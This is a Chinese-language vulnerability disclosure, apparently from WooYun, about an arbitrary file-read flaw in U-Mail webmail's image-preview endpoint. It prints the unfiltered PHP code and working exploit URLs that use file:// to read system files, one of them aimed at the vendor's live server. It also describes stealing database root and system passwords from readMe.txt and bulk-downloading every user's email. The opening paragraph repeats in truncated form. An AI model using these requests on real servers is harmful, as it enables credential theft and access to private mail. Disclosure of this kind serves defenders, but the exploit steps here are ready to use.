### 简要描述: 下载了最新版的umail,发现漏洞还不少,不过上wooyun一搜索,都是以前大牛提交过了,只好另找一个了。任意文件下载,泄露系统重要敏感信息,还可导致可下载任意用户的全部邮件。u-mail的使用量就不说了,可以参考: http://www.wooyun.org/bugs/wooyun-2010-061859 ### 详细说明: 问题出现的位置是在图片预览的地方 ``` http://192.168.1.24/webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=1.gif&type=application/octet-stream ``` 关键代码如下: ``` if ( ACTION == "attach-img-preview" ) { $download_url = $_GET['d_url']; $type = $_GET['type']; $data = get_url_data( $download_url ); header( "Content-type: ".$type ); header( "Expires: 0" ); header( "Pragma: public" ); echo $data; exit( ); } ``` zend解密出来的代码,凑合着看吧 继续跟进get_url_data,(admin/include/base_function.php) ``` function get_url_data( $_obfuscate_Il8i, $_obfuscate_5E5Av0svlQ = 1 ) { $_obfuscate_u_c = curl_init( ); curl_setopt( $_obfuscate_u_c, CURLOPT_URL, $_obfuscate_Il8i ); curl_setopt( $_obfuscate_u_c, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $_obfuscate_u_c, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $_obfuscate_u_c,...
### 简要描述: 下载了最新版的umail,发现漏洞还不少,不过上wooyun一搜索,都是以前大牛提交过了,只好另找一个了。任意文件下载,泄露系统重要敏感信息,还可导致可下载任意用户的全部邮件。u-mail的使用量就不说了,可以参考: http://www.wooyun.org/bugs/wooyun-2010-061859 ### 详细说明: 问题出现的位置是在图片预览的地方 ``` http://192.168.1.24/webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=1.gif&type=application/octet-stream ``` 关键代码如下: ``` if ( ACTION == "attach-img-preview" ) { $download_url = $_GET['d_url']; $type = $_GET['type']; $data = get_url_data( $download_url ); header( "Content-type: ".$type ); header( "Expires: 0" ); header( "Pragma: public" ); echo $data; exit( ); } ``` zend解密出来的代码,凑合着看吧 继续跟进get_url_data,(admin/include/base_function.php) ``` function get_url_data( $_obfuscate_Il8i, $_obfuscate_5E5Av0svlQ = 1 ) { $_obfuscate_u_c = curl_init( ); curl_setopt( $_obfuscate_u_c, CURLOPT_URL, $_obfuscate_Il8i ); curl_setopt( $_obfuscate_u_c, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $_obfuscate_u_c, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $_obfuscate_u_c, CURLOPT_RETURNTRANSFER, TRUE ); curl_setopt( $_obfuscate_u_c, CURLOPT_CONNECTTIMEOUT, $_obfuscate_5E5Av0svlQ ); $_obfuscate_6RYLWQ = curl_exec( $_obfuscate_u_c ); curl_close( $_obfuscate_u_c ); return $_obfuscate_6RYLWQ; } ``` url参数没有进行任何过滤,直接调用了c_url,因此我们可以访问如下url: ``` http://192.168.1.24//webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\windows\win.ini&type=text/htm ``` [<img src="https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png" alt="任意文件读取.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png) u-mail邮件系统在安装后会生成一些随机的密码作为数据库密码,已经新建两个系统用户,这些信息都存在umail下的readMe.txt,这个文件在web目录下是不能读取的 [<img src="https://images.seebug.org/upload/201412/04001319bdc5d6f9fa5e6a98ecbaade39ded9a54.png" alt="系统敏感信息0.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/04001319bdc5d6f9fa5e6a98ecbaade39ded9a54.png) mysql root密码,系统用户账号密码都尽收眼底,而且建议用户不要修改…… [<img src="https://images.seebug.org/upload/201412/040013314943889f69f4600758b6bc8f5b0d039a.png" alt="系统敏感信息.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040013314943889f69f4600758b6bc8f5b0d039a.png) 更进一步我们可以做什么呢? 下载任意用户的任意邮件。 u-mail用户的邮件都会存在umail\Users\jc.com\test目录下 其中jc.com就是邮件服务器的域名,test是用户名,目录结构是: [<img src="https://images.seebug.org/upload/201412/040021234fa5ccea8766a8e395a2ce9eb640104e.png" alt="任意邮件下载1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040021234fa5ccea8766a8e395a2ce9eb640104e.png) 其中md50000000001.msg,md50000000002.msg就是用户的邮件,是按照数字递增的。 因此我们可以很容易的写一个程序来遍历下载所有用户的所有邮件,邮件是eml格式的。 [<img src="https://images.seebug.org/upload/201412/04002752dfbefb48e45c51eb1a792f42b4ff1c06.png" alt="下载任意用户的邮件11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/04002752dfbefb48e45c51eb1a792f42b4ff1c06.png) ### 漏洞证明: ``` http://192.168.1.24//webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\windows\win.ini&type=text/htm ``` [<img src="https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png" alt="任意文件读取.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040010303ce2089775da71b64a093f6f1add3e58.png) 给个官网测试链接(需要点击试用,登上一个普通账号): ``` http://mail.comingchina.com/webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\\windows\win.ini&type=text/htm ``` [<img src="https://images.seebug.org/upload/201412/040041523cef469655b5e383cabb791875a5a3dc.png" alt="任意文件读取11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/040041523cef469655b5e383cabb791875a5a3dc.png) readMe.txt [<img src="https://images.seebug.org/upload/201412/04004426612a519ab6f0c74537b1cf9885b21be0.png" alt="任意文件读取111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/04004426612a519ab6f0c74537b1cf9885b21be0.png)